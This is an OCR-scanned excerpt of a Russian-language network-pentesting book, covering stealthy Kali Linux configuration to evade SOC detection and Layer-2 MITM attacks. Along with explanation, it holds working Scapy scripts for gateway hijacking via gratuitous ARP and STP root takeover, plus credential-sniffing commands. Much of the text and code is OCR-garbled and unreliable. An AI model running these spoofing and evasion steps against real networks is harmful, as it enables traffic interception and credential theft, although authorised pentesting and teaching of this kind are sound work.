[+] Searching for L2/LЗ Protocots . ..
[•] The spec i f i ed timer appt i es to att protocot s
[*] After the protocot is detected - att necessary information about it will Ье displayed
l•J The detected prot ocots are recorded i n vettel.pcap
[ +] Detected VRRPv2 Protocot
[*] VRRPv2 inaster router priority: 100
[*] Attack Iмpact: МIТМ
[*] Toots: Scapy, Loki
[ 1] Aut hentication: Ptaintext. Look at the passwrd in Wireshark
[* ] VRRPv2 6roup N1111ber: 100
[*] VRRPv2 Speaker IP: 18. 18. 100. 287
[*] VRRPv2 Speaker МАС: OO:OO:Se :00:81:64
[*] VRRPv2 Virtual IP Address: [ ' 192.168.1."']
[*] Mitigation: Use cryptographic authentication, fitter VRRP traffic using ACLs
[+] Detected SТР Protocol
[*] Attack Iмpact: Partiat МIТМ
[*] Tool.s: Yersinia, Scapy
[*] STP Root SWitch МАС: оо : ес:29:Ь8:ЬЬ:Ь5
[*] SТР Root ID: 32768
[*] SТР Root Path Cost: е
[*] Mitigation: ЕnаЫе BPOU 6uard
[+] Detected l4DNS Protocot
[ *] Attack Хмрасt: l4DNS Spoofing, Credentiats Interception
[*] Tool.s: Responder
[*] IIIJNS Speaker IP: 18.18.100.252
[*] l4DNS Speaker МАС: 82:18:de:M: f2:34
[*] Mitigation: Fitter 111115 traffic using VACL/VМAP. Ве careful. 111ith 111115 fittering, you сап disrupt printer!
[ +] Detected IНIP Protocol.
[ *] MikroTik device мау have Ьееn detected
[* ] Attac k Iмpact: Inforмation 6athering
[* ] Tools: Wireshark
[*] МNDP Speaker МАС: 78:9a :18: 4d: 55: 63
[* ] МNDP Speaker IP: 18.18.100.254
[*] You с а п get 110re i nformation from the packet in Wireshark
[ *] The МNDP protocol is not yet imptemented in Scapy
[*] Mitigation: DisaЫe IНIP on endpoint ports
Рис. 11.1. Пример работы Above
Закаляем дистрибутив Kali Linux и учимся не шуметь в сети
207
С помощью Above можно искать векторы атак на сеть и при этом не создавать ни­
какого шума в эфире.
Обращение к репоэиториям
Если во время работы в сети в рамках пентеста вы обратитесь к репоз иториям Kali,
имейте в виду, что SOC может сразу обнаружить это действие. Даже есл и включить
обращение к репозиториям через
HTTPS, вы все равно можете «спалиться » по
DNS-зaпpocy (рис . 11 .2).
18 45 639999
24 45 . 840171
28 46. 165029
38 4б . 165539
31 46 . 176395
32 46 181883
33 46 . 182~44
3446.182574
35 46 . 184788
36 46 186247
48 46 . 286318
61 46 . 461638
71 46 . 500614
73 46 . 582870
10 . 10.180.254
10 . 18.100 . 164
192 .99 . 200 113
10 18 . 180 164
10 . 18.108.164
10 . 18 100. 254
10 18 . 188 164
10 18 . 1ее.164
18 18 . 1ее . 254
18 . 18 . 1ее.254
10. 18 188 . 164
192 . 99 . 2е9 . 113
194.71 . 1\ . 173
18 18 188 . 164
18 . 18 . 188.164
192 .99 . 288 . 113
18 . 10 . 108 . 164
192 99 . 208 . 113
18 . 18.188 . 254
18 . 18 . 108 . 164
18 . 18 . 180 . 254
10.18.1ee.2sc
10 . 18 . 108 . 164
18 . 18 . 188 . 164
194 71 . 11 .173
18 . 18 . 188 164
18. 18 . 188 164
194 71.11 173
Рис. 11.2. http.kali.org в DNS-трафике
Операции с хостнеймом системы
Да-да-да, совет менять хостнейм Kali -
это банаJ1ьность . Тем не менее дефолтный
хостнейм Kali так и остается главным индикатором обнаружения этого дистрибу­
тива в сети .
Решение простое до безобразия . Мы не только поменяем имя системы , но и заодно
запретим передачу хостнейма в пакетах DHCP, которые уходят, когда атакующий
пытается получить адрес в сети .
sudo hostnamect l · set -hostname DESKTOP-HNA2AEVS
sudo sed - i " s/127.0 .l.l.* /127 . 0.l. l\tDESKTOP -HNA2AEVS/ " /etc/hosts
Отключить передачу имени системы по DHCP можно
NetworkManager, добавив параметр dhcp- send - hostname~false :
в
connection-фaйлax
208
Глава 11
sudo sed -i ' /\ [ipv4 \ ] / a dhcp- send-hos t narne=false'
sys tern-connecti ons/Wired\ connection\ 1
/ et c/ N e tw o rkМanager/
ТТL
Для дистрибутивов
значение
TTL
в
Linux значение TTL равно 64. Можно изменить стандартное
Если вы хотите прикинуться Windows, выбирайте
системе.
TTL 128.
sudo s ys ctl - w net .ipv4.ip_defaul t_ttl=80
Если вы собираетесь проводить МПМ в сети, то можете скрыть свой адрес в трас­
сировке со стороны легитимных хостов. Очень простой трюк в виде смещен.ия TTL
с инкрементом + 1:
sudo iptaЬles -t rnangle -А PREROUTING -i eth0 -j TTL --ttl-inc 1
Отключение NTP
Ваша система может периодически обращаться к NТР-серверу для синхронизации
актуального времени. В Kali периодически происходит обращение к NTP по имени
DNS (рис. 11.3).
Зато отключить синхронизацию времени в Kali очень просто:
sudo s ysternctl s t op sys temd-t i rnes ync
-
•
Appl1u,t1oni
РЬ<е,
JJn 1! 1119 09
•
4
• 701ft
ntp_detect рсар
f1le
Edtt
y-iew
§о
~apture ~nalyze
l! □ tf. @ 1.. -
~~
~tat1st1cs Te!ephony !Y\relt!sS Ioots .tjelp
О. <-
➔ Г\ •<- ➔• 11! ■
D а
D11
-=-----=-=--- _ -~~ _ __
No
Тime
Sourct
011'sllniHon
Protocol
Jr О · +
Length lnfo
81 Standard query 8х8485 А 8.deЫiщ.poot.ntp.org
81 Staлdard query 8x8d98 ММ 8.deЫan.pool.ntp . oro
145 Standard query response 8х8485 А 8 . deЫan . poot . ntp .org А 162 159 . 288 . L
81 Stмda rd uer П!sponse 8x8d98 АдАА 8 . deЬian. ot .nt .or
Рис. 11.3. NТР-трафик
Закаляем дистрибутив Kali Linux и учимся не шуметь в сети
209
Работа с netf ilter
Нам нужно разрешить установленные и связанные между собой соединения, бло­
кировать некорректные, а также блокировать ТСР-сегменты с неожиданными зна­
чениями ТСР MSS. Еще необходимо фищ,тровать IСМР-трафик и выключить пин­
ги. Однако будьте осторожны: не заблокируйте случайно
ICMP Туре 3, который
позволяет системе PMTUD избегать избыточной фрагментации.
sudo iptaЬles -А INPUT -m conntrack --ctstate ESTAВLISHED,RELATED -j АССЕРТ
sudo iptaЬles -t inangle -А PREROUTING -m conntrack --ctstate INVALID -j DROP
sudo iptaЫes -А INPUT -р icmp --icmp-type О -m conntrack --ctstate NEW -j АССЕРТ
sudo iptaЬles -А INPUT -р icпq, --icmp-type 3 -m conntrack --ctstate NEW -j АССЕРТ
sudo iptaЫes -А INPUT -р icпq, --icmp-type 11 -m conntrack --ctstate NEW -j АССЕРТ
sudo iptaЬles -А INPUT -р icпq, -j DROP
sudo iptaЫes -t mangle -А PREROUTING -р tcp -m conntrack --ctstate NEW -m tcpmss
--mss 536:65535 -j DROP
INFO
Ограничение IСМР-трафика на вашем хосте может повлиять на корректную работу
IСМР-сканирования. Имейте это в виду, если будете его использовать. Отслеживайте
типы IСМР-сообщений, которые фильтруются.
Отключение ICMP Redirect
Редиректы IСМР случаются при МIТМ-атаках. На сообщения ICMP redirect могут
стриггериться
системы
IDS/IPS,
что
скомпрометирует
действия
атакующего.
Давайте выключим эти сообщения.
sudo sysctl -w net. ipv4 .conf. all ·.accept_redirects=0
sudo sysctl -w net.ipv6.conf.all.accept_redirects=0
Рандомизация МАС-адреса
Классика жанра: смена МАС-адреса на своем интерфейсе. Думаю, пояснять этот
пункт нет необходимости.
sudo ifconfig eth0-down
sudo macchanger -r eth0
sudo ifconfig eth0 up
Также можно настроить NetworkМanager так, чтобы при каждом подключении
к сети МАС-адрес менялся на случайный.
echo -е "\n[connection]\nwifi.cloned-mac-address=random\n\n[connect ion]\
nethernet.cloned-mac-address=random" 1 sudo tee -а /etc/NetworkМanager/NetworkМanager.conf
Глава 11
210
Минимизация шума
Пентестеры вынуждены в своей работе использовать сканеры (Netdiscover, Nmap и
прочие), однако при запуске с установками по умолчанию эти сканеры создают
очень большой шум в эфире. Мало того, что повышается риск компрометации дей­
ствий атакующего, так еще есть вероятность перегрузить сетевой коммутатор ( осо­
бенно если мы говорим о быстром АRР-сканировании). Тревогу может забить и
система Storm Control, которая управляет ограничениями лимитов UCAST/МCAST/
ВСАSТ-трафика.
Я нашел возможность минимизировать шум в эфире с помощью ограничения ско­
рости на интерфейсе системы. Можно резать скорость на интерфейсе до 30 Кбит/с,
выставив задержку 800 мс, чтобы тот же Netdiscover не вызывал перегрузку. Разу­
меется, такой фикс повлияет на скорость работы сканера и скорость передачи дан­
ных, но все это только во избежание перегрузки. Значения я определил в своих на­
блюдениях, однако не стесняйтесь регулировать их при необходимости.
Для шейпинга я использовал утилиту tc (traffic control):
sudo tc qdisc add dev eth0 root tbf rate З0kЬit burst З0kЬit latency 800ms
Ниже приведены скриншоты с работой сканеров Netdiscover и Nmap (рис. 11.4-
11. 7). Команды запуска были следующие:
sudo netdiscover -i eth0
sudo nmap -n 10.10.100.0/24
Incoming:
Curr: 0.00 Bit/s
Avg: 40.00 Bit/s
Min: 0.00 Bit/s
Мах: б72.0ri Bit/s
Ttl: 72.62 MByte
Outgoing:
,11111111111111
Рис. 11.4. Работа Netdiscover без шейпинга трафика
Curr: 457.34 kBit/s
Avg: 244.14 kBit/s
Min: 0. 00 Bit/s
Мах: 479.12 kBit/s
Ttl: 3.91 MByt{J
Закаляем дистрибутив Kali Linux и учимся не шуметь в сети
Рис. 11.5. Работа Netdiscover с шейпингом
Рис. 11.6. Работа Nmap без шейпинга трафика
211
212
Глава 11
Incoming:
Curr: 40.20 kBit/s
Avg: 82 . 80 kBit/s
Min: 0.00 Bit/s
Мах: 357,90 k8it/s
тtl: 72.59 MByte
Outgoing:
curr: 43.43 kBit/s
Avg: 37,81 kBit/s
Min: 0.00 Bit/s
мах: 79,91 kBit/s
Ttl: 3.44 MByt{J
Рис.11.7. Работа Nmap с шейпингом
Обращайте внимание на
Outgoing -
трафик (когда вы что-то сканируете -
утилита
nload показывает этот исходящий
это исходящий трафик).
Если нужно удалить параметры ограничения трафика, то для этого есть вот такая
команда:
sudo tc qdisc del dev eth0 root
FЗ1
Итак,
я
написал
скрипт
FЗ 1 для
автоматизации
всего
процесса
настройки
(рис . 11.8). Скрипт полностью настраивается, и запускать его нужно со специаль­
ными аргументами.
sudo bash FЗl.sh --interface eth0 --new-hostname DESKTOP-HNA2AEVS --noise-reduction
Здесь:
□ --interface -
сетевой интерфейс вашего Kali Linux;
□ --new-hostname -
новый хостнейм для вашего Kali Linux;
□ --noise-reduction -
активация того самого шейпинга трафика для минимизации
шума в эфире. Параметр опциональный, включайте его при необходимости.
На случай, если понадобится откатить все изменения, я написал скрипт reset. sh, вы
сможете его найти в этом репозитории:
sudo bash reset.sh --interface eth0 --old-hostname kali
Закаляем дистрибутив Kali Linux и учимся не шуметь в сети
213
Рис. 11.8. FЗ1
Выводы
Я рассказал об основных идеях по поводу минимизации шума в эфире и харденинга
Kali Linux. Акцент всех этапов настройки Kali Linux сделан именно на сетевом
уровне.
ГЛАВА
12
ТТ ентестим сети
с наименьшим ущербом
MITM -
это самая импактая атака, которую можно провести в сети . Но одновре­
менно это и самая опасная техника с точки зрения рисков для инфраструктуры.
В этой главе я расскажу о том, как спуфить при пентесте, чтобы ничего не сломать
по дороге и не устроить DoS.
Начнем с теории . Я покажу, какие параметры нужны для корректного проведения
МПМ. Эти настройки позволят вам избежать непреднамеренного DoS .
Маршрутизация трасрико
и неразборчивый режим
Классика жанра: переключить свой интерфейс в promiscuous mode и разрешить мар­
шрутизацию. Разрешение маршрутизации -
это вообще очень важная настройка,
т. к . без нее во время МПМ трафик легитимных хостов будет упираться в вашу ОС
и дальше не пройдет, а это вызовет DoS .
sudo ip link set dev ethO promisc
sudo sysctl -w net.ipv4.ip_forward=l
Также будет полезно отключить
ICMP Redirect. При проведении MITM ваша ма­
шина может генерировать эти сообщения, что вызовет тревогу сенсоров систем
IDS/IPS.
sudo sysctl -w net.ipv4.conf.all. accept_redirects=O
sudo sysct l -w net.ipvб. conf . all . accept_redirects=O
Возможностьи порто коммутатора
Так или иначе , при MITM вы будете упираться в возможности порта коммутатора .
Если на порту коммутатора условно пропускная способность
I Гбит/с , то выше
этой отметки не прыгнуть . Поэтому не рекомендуется спуфить слишком много
хостов.
Глава 12
216
NAT Helper, маскардинг
и его побочные эсрсректы
Через вас может проходить FTP, J:-1.323 и другой трафик, который плохо работает
с NA Т. Модуль nf _conntrack поможет прохождению трафика таких протоколов:
sudo modprobe nf_conntrack
Давайте зададим правило NA Т, которое позволит видеть не только входящий во
время МПМ трафик, но еще и исходящий.
sudo iptaЬles -t nat -А POSTROUTING -о eth0 -J МASQUERADE
Однако у этого правила может быть побочный эффект.
Однажды мой коллега по цеху во время МПМ настроил такое правило. В инфра­
структуре заказчика были ZаЬЬiх-аrенты, которые он спуфил. И это правило приве­
ло к тому, что ZаЬЬiх-сервер больше не мог достучаться до ZаЬЬiх-аrентов, т. к.
оно, по сути, спуфит адреса легитимных хостов. Разумеется, от такого внезапного
события сетевики были в шоке.
ТТ оиск чувствительных данных в эсрире
Утилиты net-credz и PCredz -
полезнейшие инструменты для удобного сбора дан­
ных в эфире. Обычно их используют для того, чтобы вытащить из трафика пароли,
NТLМ-хеши, строки SNMP Community и другие интересные вещи.
sudo python2 net-creds -i eth0
sudo python3 ./Pcredz -i eth0
Ядро linux
При МПМ ваше устройство должно быть готово к обработке значительного трафи­
ка. Можно немного затюнить ядро Linux для оптимальной работы с большим объ­
емом трафика, который вы будете принимать во время спуфинrа сети.
sudo sysctl -w fs.file-max=l00000
sudo sysctl -w net.core.somaxconn = 65535
sudo sysctl -w net.core.netdev_max_backlog = 65536
sudo sysctl -w net.ipv4.tcp_fin_timeout=l5
sudo sysctl -w net.ipv4.tcp_tw_reuse=l
sudo sysctl -w net.ipv4.tcp_tw_recy.cle=l
sudo sysctl -w net.ipv4.tcp_max_tw_buckets=65536
Давайте пройдемся по каждой настройке:
□ net.core. somaxconn = 65535 задает максимальное количество соединений, которые
могут ожидать обработки в очереди. Это важно для приложений с высокой на­
грузкой, чтобы предотвратить отбрасывание новых соединений из-за перепол­
ненной очереди;
Пентестим сети с наименьшим ущербом
217
□ net.core.netdev_max_backlog = 65536 определяет максимальный размер очереди для
сетевых устройств, обрабатывающих входящий трафик. Увеличение этого пара­
метра позволяет более эффективно обрабатывать пакеты в сетевом стеке;
□ net. ipv4. tcp _ fin _ timeout=l5 -
этот параметр устанавливает время
в секундах,
в течение которого соединение ожидает завершения после отправки финишного
пакета (FIN). Значение 15 секунд -
компромисс между своевременным освобо­
ждением ресурсов и предотвращением возможных проблем с переиспользовани­
ем портов;
□ net.ipv4.tcp_tw_reuse=l -
когда этот параметр установлен в единицу, он разреша­
ет повторное использование сокетов ТIME-WAIТ для новых соединений. тrмE­
WAIT -
это состояние, в котором сокет ждет, прежде чем полностью закрыться.
Включение этой опции позволяет использовать порты, находящиеся в состоянии
тrмE-WAIT, для новых соединений, что может уменьшить расход портов при высо­
кой нагрузке;
□ net. ipv4. tcp _ tw _ recycle=l -
этот параметр активирует режим повторного исполь­
зования сокетов тrмE-WAIT. Включение этой опции позволяет ядру заново исполь­
зовать сокеты тrмE-WAIT, применяя хеш-функцию для распределения их по не­
скольким очередям. Это может улучшить эффективность обработки сокетов
ТIME-WAIT в условиях высокой нагрузки;
□ net. ipv4. tcp _max _ tw_buckets=65536 -
этот параметр устанавливает максимальное
количество тrмЕ-wАiт-сокетов, которые могут быть в очереди. Увеличение этого
значения может предот~ратить отбрасывание сокетов тrмE-WAIT в случае, если
они поступают слишком быстро.
ТСР Window Scaling
Параметр ТСР Window Scaling управляет масштабированием окна ТСР. Увеличе­
ние ТСР-окна может улучшить производительность передачи данных в сети с вы­
сокой задержкой или высокой нагрузкой.
В ТСР каждая сторона устанавливает размер окна. Соответствующее количество
байтов может быть отправлено без подтверждения. Window Scaling предоставляет
возможность увеличивать этот размер окна, что особенно полезно при работе с вы­
сокоскоростными сетями.
sudo sysctl -w net.ipv4.tcp_window_scaling=l
Обход VLАN-сегментации (Cisco 2960)
Внутри локальной сети атакующий может случайно напороться на транковый порт.
Чаще всего такое случается с коммутаторами Cisco, за которыми недостаточно до­
глядели в продакшене и не настроили их как следует. Главная проблема в том, что
в коммутаторах Cisco 2960 по умолчанию все порты включены и находятся в ре-
Глава 12
218
жиме DTP Dynaшic
Auto. Это может повлечь за собой атаку VLAN Hopping, при
которой атакующий выполняет инъекцию кадра DTP DesiraЫe.
Инструмент Above позволит обнаружить теги 802.1 Q на транковом порте коммута­
тора. Затем атакующий, зная о VLAN ID. создаст виртуальные VLАN-интерфейсы
и прыгнет в другой VLАN-сегмент(рис. 12.1, 12.2).
sudo apt install above
sudo above --interface eth0 --timer 300
Также сниффинг кадров 802.1 Q будет очень полезен при компрометации rиперви­
зора, поскольку обычно гипервизор и находится на транковых каналах.
F1te t:d,t _V1ew ~~0__:1~ ~ ~ ~ : S tat1St~ ~t~~_!1~~): ~1reless Toots
Help
LI о • @ Ji.. 8 •t1 °~:~~:'•··>'--·:.. 1<· ·>1 111! ■ 11 са 11 111
• vt•n
No
•. .
, · . " ' " i ¼ ~ . .: •• -.,~·:.
~ ··.:••~~r~/~~ ...,:~.§._~,, :1'-l "Deit,nat,on
10.10,251.201
224.0.0,2
4 0. 218218
224.0,0.2
5 0.465059
10.10.190.201
224.0 . 0.2
6 0. 759367
10.10.120.201
7 0,852803
224.0.0.5
10.10.120.200
224.0.0.2
111. 344585
10.10 . 80 . 201
Ttme
Protocol
lcnqth lnfo
HSRP
HSRP
HSRP
OSPF
HSRP
66 Hel1o (state Active)
66 Hello (state Act1ve)
66 не llo ( state Standby)
94 неl lo Packet
66 Hello (state Standby)
14 1. 894997
10 .10 . 190.200
224.0 . 0 , 2
HSRP
66 нello (state Standby)
172.262877
18 2, 332752
19 2.394743
20 2, 673734
21 2,876109
10,10 . 80 . 200
10.10 . 251.201
224 . 0.0,2
224.0.0 , 5
HSRP
OSPF
66 Hello (state Active)
94 Hello Packet
18.10.251.200
224.0,0.2
HSRP
бб Hello
10,10.80.200
10.10.251.201
224.0.0.5
224.0 . 0.2
OSPF
HSRP
94 Hello Packet
66 Hello (state Active)
(State Starн1by)
Рис. 12.1. Теги 802.1Q в сетевых пакетах
Рис. 12.2. Обнаружение 802.1 О-кадров с помощью
Above
DHCP Spoofing, но без Exhaustion
Эта атака выглядит так. Атакующий в своей ОС поднимает ложный DНСР-сервер.
Атакующий может уже быть ближайшим DНСР-сервсром, по сравнению с леги­
тимным DНСР-сервсром. который обычно находится в другом сегменте, и тогда
219
Пентестим сети с наименьшим ущербом
злоумышленнику даже
не
нужно
применять
сомнительный
DHCP Exhaustion.
Почему сомнительный? Потому что это лишнее негативное воздействие на сеть.
После такого пентеста сетевикам придется посетить DНСР-серверы и почистить
Lеаsе-таблицы. Если вы изучали эту МIТМ-атаку, то наверняка помните, что она
упоминалась вместе с DHCP Exhaustion, однако эта схема наносит сильный урон
инфраструктуре.
При таком виде спуфинга есть опасность в виде DHCP Lease Тime. Грубо говоря,
сколько длится таймер Lease Time, столько вы и должны обслуживать пользовате­
лей, т. к. вы становитесь для них шлюзом по умолчанию. Если же будет так, что вы
выставили DHCP Lease Time условно на один день, а спуфить прекратите через
30 минут, у легитимных клиентов возникнет DoS. Они запросят новую конфигура­
цию только спустя день. Согласистесь, не очень приятная ситуация.
ARP Scanning
Во время пентеста будьте осторожны с инструментами, которые выполняют АRР­
сканирование. На уровне коммутации может быть настроена система Storm Control,
которая заблокирует порт, если широковещательный трафик превышает заданный
порог. Нужно проводить либо более медленное сканирование (добавить задержку
перед отправкой следующего АRР-кадра), либо пассивную разведку, при которой
инструмент
полагается
только
на
изучение
трафика
(например,
так
делает
netdiscover).
ARP Spoofing
Это самый распространенный вид МIТМ, он представляет собой подделывание
записей в АRР-таблицах. Таким образом атакующий навязывает свой адрес в каче­
стве адреса шлюза.
При проведении АRР-спуфинга следите за маской подсети, с которой собираетесь
работать. Если вы возьмете слишком большую маску, ваше железо может просто не
выдержать нагрузки и возникнет DoS. Это частая ошибка в практике пентестеров.
Будьте осторожны с количеством хостов, которые вы собрались спуфить.
Закончив спуфить хосты, вы должны генерировать и отправлять обратные IS-A Т­
кадры, которые восстанавливают состояние АRР-таблиц хостов до атаки. Это очень
важный момент. Хост или сервис могут и не запросить
ARP, тогда они будут
Ettercap и Arpspoof
отлично делают эту работу, а по окончании генерируют необходимые IS-A Т-кадры
думать, что вы все еще их шлюз. А это DoS. Кстати говоря,
и восстанавливают структуру АRР-таблиц хостов.
Глава 12
220
Сnуtринг
в системе горячего резервирования FHRP
Это крайне дерзкая МIТМ-атака: при спуфинrе FНRР-мастера весь трафик сегмента
пойдет в вашу сторону, т. к. ваш адрес будет адресом шлюза по умолчанию для
остальных легитимных хостов. Это рискованный вектор, т. к. ваше оборудование
должно быть готово к такому мощному потоку трафика.
Необходимость использовать GARP
При спуфинrе домена FHRP необходимо отправить специальный Gratuitous АRР­
кадр, который уведомит весь сегмент о том, что возникла новая привязка МАС­
адреса и IР-адреса. Ведь при захвате FНRР-мастера вы будете обслуживать его
и отвечать за адрес шлюза по умолчанию для конечных хостов.
Вот код на Python который будет генерировать и отправлять GАRР-кадр каждые
300 секунд.
# 1 /usr/bin/env pythonЗ
from scapy.all import *
from scapy.layers.12 import *
import argparse
l2broad = "FF:FF:FF:FF:FF:FF"
def take_args():
parser = argparse.ArgumentParser()
parser.add_argument("--gateway", dest="gateway", type=str, required=True,
help="Choose gateway IP address")
parser.add_argument("--interface", dest="interface", type=str, required=True,
help="Choose your interface for attack")
parser.add_argument("--mac", dest="evilmac", type=str, required=True, help="Specify
your МАС Address")
args = parser.parse_args()
return args
args = take _args ()
def exploit(gateway, interface, ev1lmac):
ether_frame = Ether(src=args.evilmac, dst=l2broad)
arp_frame = ARP(op="is-at", pdst=args.gateway, hwsrc=args.evilmac, hwdst=l2broad,
psrc=args.gateway)
garp_frame = ether_frame / arp_frame
sendp(garp_frame, iface=args.interface, inter=ЗOO, loop=l, verbose=l)
switch_to_promisc(args.interface)
exploit(args.interface, args.evilmac, args.gateway)
Пентестим сети с наименьшим ущербом
221
INFO
Полный технический обзор атак на домены FHRP я рассмотрел в статье «FHRP
Nightmare» (https://medium.com/@casterbyte/fhrp-nightmare-pentesting-redundancy-
systems-like-a-devil-aeeb7d40e766)
Спусринг в сети
...
...
с динамическои маршрутиэациеи
МIТМ в· домене динамической маршрутизации невозможен. Если спуфить адрес
сервера, который находится в другом сегменте, возникнет просто-напросто петля
маршрутизации. Трафик к хосту, который вы спуфите, будет идти по кругу: от ле­
гитимного хоста, до вашего хоста и до шлюза по умолчанию.
Однако есть вполне рабочий вектор Mocking-aтaки, при которой атакующий может
подменить какую-нибудь службу в инфраструктуре путем редистрибуции статиче­
ского маршрута. Предположим, вы хотите подделать какую-нибудь службу SMB по
адресу 10.1.1.33/32. Тогда вам нужно настроить соответствующий маршрут и рас­
пространить его по сети с помощью редистрибуции.
После такой инъекции вам будет достаточно установить этот адрес на свой хост
с помощью того же ifconfig и запустить ложный SМВ-сервис, например impacket.
Получится что-то вроде Evil Tw.in.
Подробно эту атаку я разобрал в своей статье для журнала «Хакер» «Evil Twin по­
верх динамической маршрутизации» (https://xakep.ru/2022/09/30/ospf-evil-twin/).
Спусринг дерева STP
Суть этой атаки заключается в перехвате роли корневого коммутатора путем инъ­
екции кадра
BPDU с наименьшим значением приоритета. Однако это приведет
лишь к частичной МIТМ-атаке.
Вот пример рабочей ВРDU-инъекции, которая позволит вам отобрать роль корне­
вого коммутатора. Опять же это приведет только к частичной МIТМ-атаке. Не весь
трафик в сети бегает через корневой коммутатор.
Отправка
такого
кадра
осуществляется
01:80:С2:ОО:ОО:ОО.
from scapi. all import *
INTERFACE = "ethO"
ATTACKER МАС = "00:11:22:33:44:55"
STP MCAST = "01:80:С2:ОО:ОО:00"
def spoof():
frame = Dot3(src=ATTACKER_МAC, dst=STP MCAST)
на
мультикастовый
адрес
STP -
Глава 12
222
llc layer = LLC(dsap=Ox042, ssap=Ox042, ctrl=Зi
mal_bpdu = STP(rootmac=ATTACKER_МAC, bpduflags=OxOl, br1dgemac=ATTACKER_МAC)
mal_stp_bpdu = frame / llc_layer / mal_bpdu
sendp(mal_stp_bpdu, 1face=INTERFACE, inter=2, loop=l, verbose=l)
spoof 1)
/NFO
Методы защиты сети от спуфинг-атак я рассмотрел в главе 5.
Выводы
Я рассказал о рисках и о том, как спуфить сети правильно. Эта глава -
не полно­
ценный мануал по спуфингу сетей, здесь описаны правила хорошего тона, с по­
мощью которых можно проводить МПМ без негативного воздействия на инфра­
структуру. Понятное дело, что МПМ -
это очень распространенная атака, о кото­
рой знают многие, но вопрос о том, как правильно спуфить без DoS, по-прежнему
считается весьма острым.
'Предметный указатель
8
802.IQ 59
802.IX. МАВ 24
А
Above 57, 61,205
ACL (Access Control List) 137
ARP41
ARP Inspection 155
ARP Spoofing 155
ARPScanner.py 41
Arpspoof67
ARPSpoofer.py 41
АRР-сканирование 61
АRР-спуфинr 67,197,219
в
Blackhole 95
BPDU 179,221
BPDU Guard 180
ВРDU-кадр 68
bridge 188, 197
с
САМ (Content AddressaЫe
Memory) 147
ССА Т (Cisco Config Analysis
Tool) 129
СОР (Cisco Discovery Protocol)
29, 78,156
CHR (Cloud Hosted Router) 197
Cisco 11, 31, 60, 71,131,147, 162,
184,217
Cisco ЕЕМ 122
Cisco Smart lnstall 115
Connection Tracking 176
Cruelty 160
D
Delivery Header 167
Denial of Service 23
DHCP 51, 57,184,202
DHCP Exhaustion 131, 148, 219
DHCP Lease Тime 219
DHCP Snooping 131,148,174
DHCP Spoofing 132
Discovery Protocols 199
DoS 23
DоS-атака 98
DouЫe Tagging 23, 151
DP (Discovery Protocols) 59, 150
DRP (Dynamic Routing Protocols)
177
DTP 11, 31, 60, 150
DTP (Dynamic Trunking Protocol)
82
DTP VLAN Hopping 23
Dynamic ARP lnspection (DAI)
131, 133
Dynamic Routing Protoco\s (DRP)
144
Dynamic Trunking Protocol 11
Е
EIGRP (Enhanced lnterior
Gateway Routing Protocol) 88
EolP (Ethemet over IP) 168, 193
Ettercap 67, 72, 177
EVE-NG Community Edition 13
Evil Twin 157,221
Evilvxlan 202
F
FENRIR 24
FHRP 64. 178. 220
FHRP (First Нор Redundancy
Protocol) 101, 142
Firewall 175
FRRouting 88
G
GLBP (Gateway Load Balancing
Protocol) 1О 1
Gratuitous ARP 159
GRE (Generic Routing
Encapsulation) 184
GRETAP 188
н
НIVE 60
HSRP 109
ICMP 176. 209
ICMP Redirect 67. 215
IEEE 802.1 Х 24
lnformation Gathering 173
IPIP ([Р in IP) 186
IPSec 166
IS-A Т-кадры 67
J
John the Ripper 112, 120
к
Kali Linux 13, 185, 205
Keychain 146
К-'Jначения 97
Предметный указатель
224
L
L2 57
L2-туннель 68
LLDP (Link Layer Discovery
Protocol) 156
LLMNR/NBNS 197
LLMNR/NBT-NS 61
Loki 73,102
м
МАС Winbox Server 174
Mangle 176
Metasploit 118
MGMT 180
MikroTik 131,155,173
MikroTik CHR 197
мпм 23, 65, 132, 135, 157, 162,
174,208,215,221
Mitm6 139, 155
MNDP (MikroTik Neighbor
Discovery Protocol) 156
N
NAT67
Native VLAN 39
nbtscan 61
Neighbor ТаЬ\е Overflow 174
net-credz 216
netdiscover 61
NetworkManager 57,207
NТLM Relay 61
о
OpenVPN 68
OSPF (Open Shortest Path First)
177
р
Packet SnifТer 162-164
Pcredz 162,216
Pivoting 183
point-to-point 200
PowerShell 199
PREEMPT 179
PREROUТING 176
Proto Туре 168
Protocol Туре 167
R
RA Guard 155
reply-only 155
Responder 61, 68, 135, 171, 202
Root bridge 44
Root ldentifier 32, 49
router advertisements 155
RouterOS 131,147,155, 197
5
Scapy 15, 24, 31, 43, 158
SlET (Smart lnstall Exploitation
Tool) 115
site-to-site 166
SNMP (Simple Network
Management Protocol) 117
SPAN 162
SSH 68, 199
Storm Control 61, 66,210,219.
STP
STP (Spanning Tree Protocol) 32,
44,141,179,199
SТР-кадр 68
Switch OS 155
т
TACACS+ 71
ТАР 68, 183
А
Асимметричная маршрутизация
п
Пивотинг 57, 68, 166, 183, 197
ТСР Window Scaling 217
tcpdump 78
ПМЕ-WАП 217
ТТL66
TUN 68,183
TZSP (Tazmen Sniffer Protocol)
163
tzsp2pcap 165
u
UDP 117,200
UPnP (Universal Plug and Play)
154
V
VACL (VLAN Access List) 138
VDI 198
Virtua\Вox 197, 198
VLAN ID49
Voice VLAN 60
VRRP (Virtual Router Redundancy
Protocol) 156, 178
VRRP Virtual IP Address 161
VRRPv3 157
:VTEP (Virtual Tunnel Endpoint)
191,200
VТР (VLAN Trunking Protocol)
34, 85, 151
VТУ 152
VXLAN (Virtual EXtensiЫe LAN)
191, 197,200
w
Winbox 174,199
Windows 197
Wireshark 18, 71, 78, 103, 165
у
У ersinia 15, 24, 54, 73, 79
т
Туннелирование 183
67
Б
Бриджинг 198
Брутфорс 71, 74, 180
с
Спуфинг 131,173,197
ф
Файрвол 175
0
You can add this document to your study collection(s)
Sign in Available only to authorized usersYou can add this document to your saved list
Sign in Available only to authorized users(For complaints, use another form )